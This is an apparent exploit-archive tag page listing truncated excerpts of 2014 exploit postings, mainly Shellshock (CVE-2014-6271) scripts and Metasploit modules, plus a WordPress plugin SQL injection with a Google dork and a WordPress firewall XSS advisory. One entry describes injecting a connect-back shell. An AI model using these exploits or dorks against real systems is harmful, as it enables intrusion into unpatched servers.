Tags archives: unix

 

0

WordPress Users Ultra 1.3.37 SQL Injection

################################################################################################# # Title : Wordpress Users Ultra Plugin – SQL injection Vulnerability # Risk : High+/Critical # Author : XroGuE # Google Dork : inurl: wp-content/plugins/users-ultra/ # Plugin Version : 1.3.37 # Plugin Name : users ultra # Plugin Download Link : https://downloads.wordpress.org/plugin/users-ultra.zip # Vendor Home : http://www.usersultra.com/ # Date : 2014/09/27 # Tested in [...]

 

0

WordPress All In One Security And Firewall 3.8.3 XSS

Document Title: =============== All In One Wordpress Firewall 3.8.3 – Persistent Vulnerability     References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1325     Release Date: ============= 2014-09-29     Vulnerability Laboratory ID (VL-ID): ==================================== 1327     Common Vulnerability Scoring System: ==================================== 3.3     Product & Service Introduction: =============================== WordPress itself is a very secure platform. However, [...]

 

0

IPFire 2.15 Bash Command Injection

#!/usr/bin/env python # # Exploit Title : IPFire <= 2.15 core 82 Authenticated cgi Remote Command Injection (ShellShock) # # Exploit Author : Claudio Viviani # # Vendor Homepage : http://www.ipfire.org # # Software Link: http://downloads.ipfire.org/releases/ipfire-2.x/2.15-core82/ipfire-2.15.i586-full-core82.iso # # Date : 2014-09-29 # # Fixed version: IPFire 2.15 core 83 (2014-09-28) # # Info: IPFire is [...]

 

0

DHCP Client Bash Environment Variable Code Injection

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##   require ‘msf/core’ require ‘rex/proto/dhcp’   class Metasploit3 < Msf::Auxiliary   include Msf::Exploit::Remote::DHCPServer   def initialize super( ‘Name’ => ‘DHCP Client Bash Environment Variable Code Injection’, ‘Description’ => %q{ This module exploits a code injection in specially crafted environment variables in Bash, specifically [...]

 

0

Apache mod_cgi Bash Environment Variable Code Injection

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##   require ‘msf/core’   class Metasploit4 < Msf::Exploit::Remote Rank = GoodRanking   include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager   def initialize(info = {}) super(update_info(info, ‘Name’ => ‘Apache mod_cgi Bash Environment Variable Code Injection’, ‘Description’ => %q{ This module exploits a code injection in specially crafted [...]

 

0

Gnu Bash 4.3 CGI Scan Remote Command Injection

#!/usr/bin/env python   # http connection import urllib2 # Args management import optparse # Error managemen import sys   banner = “”” _______ _______ __ | _ .—–.–.–. | _ .—.-.—–| |–. |. |___| | | | |. 1 | _ |__ –| | |. | |__|__|_____| |. _ |___._|_____|__|__| |: 1 | |: 1 [...]

 

0

bashedCgi Remote Command Execution

require ‘msf/core’   class Metasploit3 < Msf::Auxiliary   include Msf::Exploit::Remote::HttpClient     def initialize(info = {}) super(update_info(info, ‘Name’ => ‘bashedCgi’, ‘Description’ => %q{ Quick & dirty module to send the BASH exploit payload (CVE-2014-6271) to CGI scripts that are BASH-based or invoke BASH, to execute an arbitrary shell command. }, ‘Author’ => [ 'Stephane Chazelas' [...]

 

0

Gnu Bash 4.3 CGI REFERER Command Injection

#!/usr/bin/perl # # Title: Bash/cgi command execution exploit # CVE: CVE-2014-6271 # Author: Simo Ben youssef # Contact: Simo_at_Morxploit_com # Coded: 25 September 2014 # Published: 26 September 2014 # MorXploit Research # http://www.MorXploit.com # # Description: # Perl code to exploit CVE-2014-6271. # Injects a Perl connect back shell. # # Download: # http://www.morxploit.com/morxploits/morxbash.pl [...]

 

0

Bash Code Injection Proof Of Concept

<?php /* Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability CVE: 2014-6271 Vendor Homepage: https://www.gnu.org/software/bash/ Author: Prakhar Prasad && Subho Halder Author Homepage: https://prakharprasad.com && https://appknox.com Date: September 25th 2014 Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26 GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13) Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd Eg. php bash.php -u http://localhost/cgi-bin/hello [...]

 

0

Bash Environment Variable Command Execution

Date: Wed, 24 Sep 2014 17:03:19 +0200 From: Florian Weimer <fw@…eb.enyo.de> To: oss-security@…ts.openwall.com Subject: Re: CVE-2014-6271: remote code execution through bash   * Florian Weimer:   > Chet Ramey, the GNU bash upstream maintainer, will soon release > official upstream patches.   http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017 http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018 http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039 http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012 http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048 http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025   Someone has posted large parts [...]